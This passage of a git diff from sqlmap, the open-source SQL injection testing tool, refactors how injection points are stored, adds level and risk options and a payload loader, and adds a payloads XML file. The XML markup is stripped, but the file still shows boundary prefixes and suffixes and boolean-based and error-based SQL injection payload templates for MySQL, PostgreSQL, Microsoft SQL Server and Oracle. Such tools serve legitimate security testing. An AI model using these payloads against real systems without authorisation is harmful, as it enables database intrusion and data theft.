safeFormatString(conf.parameters[inj.place]), inj.suffix)) def setDbms(dbms): """ @@ -124,7 +111,7 @@ def setDbms(dbms): ) if condition: - dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(dbms))) + dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(dbms))) firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), "|".join([alias for alias in MYSQL_ALIASES]), @@ -184,28 +171,43 @@ def setOs(): logger.info(infoMsg) if condition: - dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(kb.os))) + dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(kb.os))) -def setStacked(): +def setBooleanBased(place, parameter, payload): + condition = ( + not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("Boolean-based blind injection") ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Boolean-based blind injection][%s]\n" % (conf.url, place, safeFormatString(conf.parameters[place]), payload)) + +def setStacked(place, parameter, payload): condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries[conf.url].has_key("Stacked queries") ) ) - if not isinstance(kb.stackedTest, basestring): - return - if condition: - dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.stackedTest)) + dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, place, safeFormatString(conf.parameters[place]), payload)) -def setError(): +def setError(place, parameter, payload): condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - not kb.resumedQueries[conf.url].has_key("Error based injection") ) + not kb.resumedQueries[conf.url].has_key("Error-based injection") ) ) if condition: - dataToSessionFile("[%s][%s][%s][Error based injection][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]))) + dataToSessionFile("[%s][%s][%s][Error-based injection][%s]\n" % (conf.url, place, safeFormatString(conf.parameters[place]), payload)) + +def setTimeBased(place, parameter, payload): + condition = ( + not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("Time-based blind injection") ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Time-based blind injection][%s]\n" % (conf.url, place, safeFormatString(conf.parameters[place]), payload)) def setUnion(comment=None, count=None, position=None, negative=False, falseCond=False, payload=None): """ @@ -226,7 +228,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= ) if condition: - dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(comment))) + dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(comment))) kb.unionComment = comment @@ -237,7 +239,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= ) if condition: - dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), count)) + dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), count)) kb.unionCount = count @@ -248,7 +250,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= ) if condition: - dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), position)) + dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), position)) kb.unionPosition = position @@ -260,7 +262,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= ) if condition: - dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]))) + dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]))) kb.unionNegative = True @@ -272,7 +274,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= ) if condition: - dataToSessionFile("[%s][%s][%s][Union false condition][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]))) + dataToSessionFile("[%s][%s][%s][Union false condition][Yes]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]))) kb.unionFalseCond = True @@ -284,7 +286,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= ) if condition: - dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), payload)) + dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), payload)) kb.unionTest = payload @@ -295,7 +297,7 @@ def setRemoteTempPath(): ) if condition: - dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(conf.tmpPath))) + dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(conf.tmpPath))) def resumeConfKb(expression, url, value): if expression == "String" and url == conf.url: @@ -352,6 +354,12 @@ def resumeConfKb(expression, url, value): except ValueError: pass + elif expression == "Injection type" and url == conf.url: + kb.injection.stype = unSafeFormatString(value[:-1]) + + logMsg = "resuming injection type '%s' from session file" % kb.injection.stype + logger.info(logMsg) + elif expression == "Injection point" and url == conf.url: injPlace = value[:-1] @@ -365,7 +373,7 @@ def resumeConfKb(expression, url, value): warnMsg += "injectable point" logger.warn(warnMsg) else: - kb.injPlace = injPlace + kb.injection.place = injPlace elif expression == "Injection parameter" and url == conf.url: injParameter = unSafeFormatString(value[:-1]) @@ -374,8 +382,8 @@ def resumeConfKb(expression, url, value): logger.info(logMsg) condition = ( - not conf.paramDict.has_key(kb.injPlace) or - not conf.paramDict[kb.injPlace].has_key(injParameter) + not conf.paramDict.has_key(kb.injection.place) or + not conf.paramDict[kb.injection.place].has_key(injParameter) ) if condition: @@ -385,19 +393,24 @@ def resumeConfKb(expression, url, value): warnMsg += "injectable point" logger.warn(warnMsg) else: - kb.injParameter = injParameter + kb.injection.parameter = injParameter - elif expression == "Injection type" and url == conf.url: - kb.injType = unSafeFormatString(value[:-1]) + elif expression == "Injection parameter type" and url == conf.url: + kb.injection.ptype = unSafeFormatString(value[:-1]) - logMsg = "resuming injection type '%s' from session file" % kb.injType + logMsg = "resuming injection parameter type '%s' from session file" % kb.injection.ptype logger.info(logMsg) - elif expression == "Parenthesis" and url == conf.url: - kb.parenthesis = int(value[:-1]) + elif expression == "Injection prefix" and url == conf.url: + kb.injection.prefix = unSafeFormatString(value[:-1]) - logMsg = "resuming %d number of " % kb.parenthesis - logMsg += "parenthesis from session file" + logMsg = "resuming injection prefix '%s' from session file" % kb.injection.prefix + logger.info(logMsg) + + elif expression == "Injection suffix" and url == conf.url: + kb.injection.suffix = unSafeFormatString(value[:-1]) + + logMsg = "resuming injection suffix '%s' from session file" % kb.injection.suffix logger.info(logMsg) elif expression == "DBMS" and url == conf.url: @@ -455,6 +468,20 @@ def resumeConfKb(expression, url, value): else: conf.os = os + elif expression == "Boolean-based blind injection" and url == conf.url: + kb.booleanTest = unSafeFormatString(value[:-1]) + + logMsg = "resuming boolean-based blind injection " + logMsg += "'%s' from session file" % kb.booleanTest + logger.info(logMsg) + + elif expression == "Error-based injection" and url == conf.url: + kb.errorTest = unSafeFormatString(value[:-1]) + + logMsg = "resuming error-based injection " + logMsg += "'%s' from session file" % kb.errorTest + logger.info(logMsg) + elif expression == "Stacked queries" and url == conf.url: kb.stackedTest = unSafeFormatString(value[:-1]) @@ -462,11 +489,11 @@ def resumeConfKb(expression, url, value): logMsg += "'%s' from session file" % kb.stackedTest logger.info(logMsg) - elif expression == "Error based injection" and url == conf.url: - kb.errorTest = unSafeFormatString(value[:-1]) == 'Yes' + elif expression == "Time-based blind injection" and url == conf.url: + kb.timeTest = unSafeFormatString(value[:-1]) - logMsg = "resuming error based injection " - logMsg += "'%s' from session file" % kb.errorTest + logMsg = "resuming time-based blind injection " + logMsg += "'%s' from session file" % kb.timeTest logger.info(logMsg) elif expression == "Union comment" and url == conf.url: diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 7d791c79d..0a9af60ee 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -183,6 +183,14 @@ def cmdLineParser(): "HTTP responses when using blind SQL " "injection technique.") + detection.add_option("--level", dest="level", default=1, type="int", + help="Level of tests to perform (1-5, " + "default 1)") + + detection.add_option("--risk", dest="risk", default=1, type="int", + help="Risk of tests to perform (0-3, " + "default 1)") + detection.add_option("--string", dest="string", help="String to match in page when the " "query is valid") diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py new file mode 100644 index 000000000..c450730ce --- /dev/null +++ b/lib/parse/payloads.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +$Id$ + +Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) +See the file 'doc/COPYING' for copying permission +""" + +from xml.etree import ElementTree as et + +from lib.core.data import conf +from lib.core.data import paths +from lib.core.datatype import advancedDict + +def cleanupVals(values, tag): + count = 0 + + for value in values: + if value.isdigit(): + value = int(value) + + values[count] = value + count += 1 + + if len(values) == 1 and tag not in ("clause", "where"): + values = values[0] + + return values + +def parseXmlNode(node): + for element in node.getiterator('boundary'): + boundary = advancedDict() + + for child in element.getchildren(): + if child.text: + values = cleanupVals(child.text.split(','), child.tag) + boundary[child.tag] = values + else: + boundary[child.tag] = None + + conf.boundaries.append(boundary) + + for element in node.getiterator('test'): + test = advancedDict() + + for child in element.getchildren(): + if child.text and child.text.strip(): + values = cleanupVals(child.text.split(','), child.tag) + test[child.tag] = values + else: + if len(child.getchildren()) == 0: + test[child.tag] = None + continue + else: + test[child.tag] = advancedDict() + + for gchild in child.getchildren(): + if gchild.tag in test[child.tag]: + prevtext = test[child.tag][gchild.tag] + test[child.tag][gchild.tag] = [prevtext, gchild.text] + else: + test[child.tag][gchild.tag] = gchild.text + + conf.tests.append(test) + +def loadPayloads(): + doc = et.parse(paths.PAYLOADS_XML) + root = doc.getroot() + parseXmlNode(root) diff --git a/lib/request/connect.py b/lib/request/connect.py index ed76cf319..1af1053bc 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -338,7 +338,7 @@ class Connect: toUrlencode = { PLACE.GET: True, PLACE.POST: True, PLACE.COOKIE: conf.cookieUrlencode, PLACE.UA: True, PLACE.URI: False } if not place: - place = kb.injPlace + place = kb.injection.place payload = agent.extractPayload(value) diff --git a/lib/request/direct.py b/lib/request/direct.py index 9826ce3d0..f25462924 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -54,7 +54,7 @@ def direct(query, content=True): return None elif content: if conf.hostname not in kb.resumedQueries or ( conf.hostname in kb.resumedQueries and query not in kb.resumedQueries[conf.hostname] ): - dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.hostname, kb.injPlace, conf.parameters[kb.injPlace], query, base64pickle(output))) + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.hostname, kb.injection.place, conf.parameters[kb.injection.place], query, base64pickle(output))) if len(output) == 1: if len(output[0]) == 1: diff --git a/lib/request/inject.py b/lib/request/inject.py index fef7f4da2..d30e866dd 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -45,7 +45,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha else: length = None - dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) + dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression)) count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar) @@ -353,7 +353,7 @@ def getValue(expression, blind=True, inband=True, error=True, fromUser=False, ex expression = expression.replace("DISTINCT ", "") - if error and conf.errorTest: + if error and kb.errorTest: value = goError(expression) if not value: @@ -435,7 +435,7 @@ def goError(expression, suppressOutput=False, returnPayload=False): result = errorUse(expression, returnPayload) if not returnPayload: - dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(result))) + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(result))) if suppressOutput: conf.verbose = popValue() diff --git a/lib/techniques/blind/timebased.py b/lib/techniques/blind/timebased.py index 0a113659d..66bb325f8 100644 --- a/lib/techniques/blind/timebased.py +++ b/lib/techniques/blind/timebased.py @@ -23,7 +23,7 @@ def timeTest(): return kb.timeTest infoMsg = "testing time-based blind sql injection on parameter " - infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic) + infoMsg += "'%s' with %s condition syntax" % (kb.injection.parameter, conf.logic) logger.info(infoMsg) timeQuery = getDelayQuery(andCond=True) @@ -37,18 +37,18 @@ def timeTest(): if duration >= conf.timeSec: infoMsg = "the target url is affected by a time-based blind " infoMsg += "sql injection with AND condition syntax on parameter " - infoMsg += "'%s'" % kb.injParameter + infoMsg += "'%s'" % kb.injection.parameter logger.info(infoMsg) kb.timeTest = agent.removePayloadDelimiters(payload, False) else: warnMsg = "the target url is not affected by a time-based blind " warnMsg += "sql injection with AND condition syntax on parameter " - warnMsg += "'%s'" % kb.injParameter + warnMsg += "'%s'" % kb.injection.parameter logger.warn(warnMsg) infoMsg = "testing time-based blind sql injection on parameter " - infoMsg += "'%s' with stacked queries syntax" % kb.injParameter + infoMsg += "'%s' with stacked queries syntax" % kb.injection.parameter logger.info(infoMsg) timeQuery = getDelayQuery(andCond=True) @@ -59,14 +59,14 @@ def timeTest(): if duration >= conf.timeSec: infoMsg = "the target url is affected by a time-based blind sql " infoMsg += "injection with stacked queries syntax on parameter " - infoMsg += "'%s'" % kb.injParameter + infoMsg += "'%s'" % kb.injection.parameter logger.info(infoMsg) kb.timeTest = agent.removePayloadDelimiters(payload, False) else: warnMsg = "the target url is not affected by a time-based blind " warnMsg += "sql injection with stacked queries syntax on parameter " - warnMsg += "'%s'" % kb.injParameter + warnMsg += "'%s'" % kb.injection.parameter logger.warn(warnMsg) kb.timeTest = False diff --git a/lib/techniques/error/test.py b/lib/techniques/error/test.py index 337a33eb2..7ea5f3a12 100644 --- a/lib/techniques/error/test.py +++ b/lib/techniques/error/test.py @@ -27,7 +27,7 @@ def errorTest(): return kb.errorTest infoMsg = "testing error-based sql injection on parameter " - infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic) + infoMsg += "'%s' with %s condition syntax" % (kb.injection.parameter, conf.logic) logger.info(infoMsg) randInt = getUnicode(randomInt(1)) @@ -36,13 +36,13 @@ def errorTest(): if result: infoMsg = "the target url is affected by an error-based sql " - infoMsg += "injection on parameter '%s'" % kb.injParameter + infoMsg += "injection on parameter '%s'" % kb.injection.parameter logger.info(infoMsg) kb.errorTest = agent.removePayloadDelimiters(usedPayload, False) else: warnMsg = "the target url is not affected by an error-based sql " - warnMsg += "injection on parameter '%s'" % kb.injParameter + warnMsg += "injection on parameter '%s'" % kb.injection.parameter logger.warn(warnMsg) kb.errorTest = False diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index beee80cf5..166f5ed38 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -157,7 +157,7 @@ def unionTest(): technique = "char (%s) bruteforcing" % conf.uChar infoMsg = "testing inband sql injection on parameter " - infoMsg += "'%s' with %s technique" % (kb.injParameter, technique) + infoMsg += "'%s' with %s technique" % (kb.injection.parameter, technique) logger.info(infoMsg) validPayload = None @@ -174,12 +174,12 @@ def unionTest(): if isinstance(kb.unionPosition, int): infoMsg = "the target url is affected by an exploitable " infoMsg += "inband sql injection vulnerability " - infoMsg += "on parameter '%s' with %d columns" % (kb.injParameter, kb.unionCount) + infoMsg += "on parameter '%s' with %d columns" % (kb.injection.parameter, kb.unionCount) logger.info(infoMsg) else: infoMsg = "the target url is not affected by an exploitable " infoMsg += "inband sql injection vulnerability " - infoMsg += "on parameter '%s'" % kb.injParameter + infoMsg += "on parameter '%s'" % kb.injection.parameter logger.info(infoMsg) validPayload = agent.removePayloadDelimiters(validPayload, False) diff --git a/lib/techniques/outband/stacked.py b/lib/techniques/outband/stacked.py index 2e79931eb..61fb03a90 100644 --- a/lib/techniques/outband/stacked.py +++ b/lib/techniques/outband/stacked.py @@ -26,7 +26,7 @@ def stackedTest(): return kb.stackedTest infoMsg = "testing stacked queries sql injection on parameter " - infoMsg += "'%s'" % kb.injParameter + infoMsg += "'%s'" % kb.injection.parameter logger.info(infoMsg) query = getDelayQuery() @@ -36,13 +36,13 @@ def stackedTest(): if duration >= conf.timeSec: infoMsg = "the target url is affected by a stacked queries " - infoMsg += "sql injection on parameter '%s'" % kb.injParameter + infoMsg += "sql injection on parameter '%s'" % kb.injection.parameter logger.info(infoMsg) kb.stackedTest = agent.removePayloadDelimiters(payload, False) else: warnMsg = "the target url is not affected by a stacked queries " - warnMsg += "sql injection on parameter '%s'" % kb.injParameter + warnMsg += "sql injection on parameter '%s'" % kb.injection.parameter logger.warn(warnMsg) kb.stackedTest = False diff --git a/lib/utils/resume.py b/lib/utils/resume.py index 8c5c4ea02..f7bef335f 100644 --- a/lib/utils/resume.py +++ b/lib/utils/resume.py @@ -74,7 +74,7 @@ def queryOutputLength(expression, payload): if output: return 0, output, regExpr - dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr)) + dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], lengthExpr)) start = time.time() lengthExprUnescaped = unescaper.unescape(lengthExpr) @@ -156,7 +156,7 @@ def resume(expression, payload): infoMsg += "%s" % resumedValue.split("\n")[0] logger.info(infoMsg) - dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue))) + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(resumedValue))) return resumedValue elif len(resumedValue) < int(length): @@ -164,7 +164,7 @@ def resume(expression, payload): infoMsg += "%s..." % resumedValue.split("\n")[0] logger.info(infoMsg) - dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue))) + dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(resumedValue))) if select: newExpr = expression.replace(regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1) diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 9dfc3fbe8..842c90dbb 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -79,7 +79,7 @@ class Filesystem(GenericFilesystem): fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) - if kb.injPlace == PLACE.GET and fcEncodedStrLen > 8000: + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 1a714411e..62da10a1c 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -164,7 +164,7 @@ class Fingerprint(GenericFingerprint): infoMsg = "confirming MySQL" logger.info(infoMsg) - payload = agent.fullPayload("AND ISNULL(1/0)" if kb.injPlace != PLACE.URI else "AND ISNULL(1 DIV 0)") + payload = agent.fullPayload("AND ISNULL(1/0)" if kb.injection.place != PLACE.URI else "AND ISNULL(1 DIV 0)") result = Request.queryPage(payload) if not result: diff --git a/sqlmap.conf b/sqlmap.conf index 8f928ec00..96b814279 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -192,6 +192,20 @@ tamper = # content from HTTP responses when using blind SQL injection technique. [Detection] +# Level of tests to perform +# The higher the value is, the higher the number of HTTP(s) requests are +# as well as the better chances to detect a tricky SQL injection. +# Valid: Integer between 1 and 5 +# Default: 1 +level = 1 + +# Risk of tests to perform +# Note: boolean-based blind SQL injection tests with AND are considered +# risk 1, with OR are considered risk 3. +# Valid: Integer between 0 and 3 +# Default: 1 +risk = 1 + # String to match within the page content when the query is valid, only # needed if the page content dynamically changes at each refresh. # Refer to the user's manual for further details. diff --git a/xml/injections.xml b/xml/injections.xml deleted file mode 100644 index 3890599bc..000000000 --- a/xml/injections.xml +++ /dev/null @@ -1,64 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/xml/payloads.xml b/xml/payloads.xml new file mode 100644 index 000000000..2d0715ba7 --- /dev/null +++ b/xml/payloads.xml @@ -0,0 +1,1290 @@ + + + + + + + 1 + 0 + 1,2,3 + 1 + + + + + + 1 + 1 + 1,2 + 1 + ) + AND ([RANDNUM]=[RANDNUM] + + + + 2 + 1 + 1,2 + 1 + )) + AND (([RANDNUM]=[RANDNUM] + + + + 3 + 1 + 1,2 + 1 + ))) + AND ((([RANDNUM]=[RANDNUM] + + + + 1 + 1 + 1,2 + 2 + ' + AND '[RANDSTR]'='[RANDSTR] + + + + 1 + 1 + 1,2 + 2 + ') + AND ('[RANDSTR]'='[RANDSTR] + + + + 2 + 1 + 1,2 + 2 + ')) + AND (('[RANDSTR]'='[RANDSTR] + + + + 3 + 1 + 1,2 + 2 + '))) + AND ((('[RANDSTR]'='[RANDSTR] + + + + 2 + 1 + 1,2 + 3 + ' + AND '[RANDSTR]' LIKE '[RANDSTR] + + + + 2 + 1 + 1,2 + 3 + ') + AND ('[RANDSTR]' LIKE '[RANDSTR] + + + + 3 + 1 + 1,2 + 3 + ')) + AND (('[RANDSTR]' LIKE '[RANDSTR] + + + + 3 + 1 + 1,2 + 3 + '))) + AND ((('[RANDSTR]' LIKE '[RANDSTR] + + + + 2 + 1 + 1,2 + 4 + " + AND "[RANDSTR]"="[RANDSTR] + + + + 3 + 1 + 1,2 + 4 + ") + AND ("[RANDSTR]"="[RANDSTR] + + + + 4 + 1 + 1,2 + 4 + ")) + AND (("[RANDSTR]"="[RANDSTR] + + + + 4 + 1 + 1,2 + 4 + "))) + AND ((("[RANDSTR]"="[RANDSTR] + + + + 3 + 1 + 1,2 + 5 + " + AND "[RANDSTR]" LIKE "[RANDSTR] + + + + 4 + 1 + 1,2 + 5 + ") + AND ("[RANDSTR]" LIKE "[RANDSTR] + + + + 5 + 1 + 1,2 + 5 + ")) + AND (("[RANDSTR]" LIKE "[RANDSTR] + + + + 5 + 1 + 1,2 + 5 + "))) + AND ((("[RANDSTR]" LIKE "[RANDSTR] + + + + 2 + 2,3 + 1,2 + 1 + , + + + + + + + AND boolean-based blind - WHERE clause + 1 + 1 + 1 + 1 + 1 + + AND [RANDNUM]=[RANDNUM] + + + AND [RANDNUM]=[RANDNUM1] + + + + + OR boolean-based blind - WHERE clause + 1 + 4 + 3 + 1 + 1 + + OR [RANDNUM]=[RANDNUM] + + + OR [RANDNUM]=[RANDNUM1] + + + + + + + + MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses + 1 + 3 + 1 + 2,3 + 1 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) + +
+ MySQL + >= 5.0 +
+
+ + + MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses + 1 + 4 + 1 + 2,3 + 1 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + +
+ MySQL + < 5.0 +
+
+ + + Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause + 1 + 3 + 1 + 3 + 1 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + +
+ Microsoft SQL Server + Sybase +
+
+ + + Oracle boolean-based blind - ORDER BY clause + 1 + 3 + 1 + 3 + 1 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END) FROM DUAL) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END) FROM DUAL) + +
+ Oracle +
+
+ + + + + Generic boolean-based blind - GROUP BY and ORDER BY clauses + 1 + 3 + 1 + 2,3 + 1 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END)) + + + + + MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses + 1 + 4 + 1 + 2,3 + 3 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) + +
+ MySQL + >= 5.0 +
+
+ + + MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses + 1 + 5 + 1 + 2,3 + 3 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + +
+ MySQL + < 5.0 +
+
+ + + Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause + 1 + 4 + 1 + 3 + 3 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + +
+ Microsoft SQL Server + Sybase +
+
+ + + Oracle boolean-based blind - ORDER BY clause + 1 + 4 + 1 + 3 + 3 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END) FROM DUAL) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END) FROM DUAL) + +
+ Oracle +
+
+ + + + + Generic boolean-based blind - GROUP BY and ORDER BY clauses + 1 + 4 + 1 + 2,3 + 3 + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END)) + + + + + + + + MySQL >= 5.0 error-based - WHERE clause + 2 + 1 + 0 + 1 + 1 + + AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[ERROR_START_CHAR]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[ERROR_END_CHAR]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ MySQL + >= 5.0 +
+
+ + + PostgreSQL error-based - WHERE clause + 2 + 1 + 0 + 1 + 1 + + AND [RANDNUM]=CAST('[ERROR_START_CHAR]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[ERROR_END_CHAR]' AS NUMERIC) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase error-based - WHERE clause + 2 + 1 + 0 + 1 + 1 + + AND [RANDNUM]=CONVERT(INT,('[ERROR_START_CHAR]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[ERROR_END_CHAR]')) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ Microsoft SQL Server + Sybase +
+
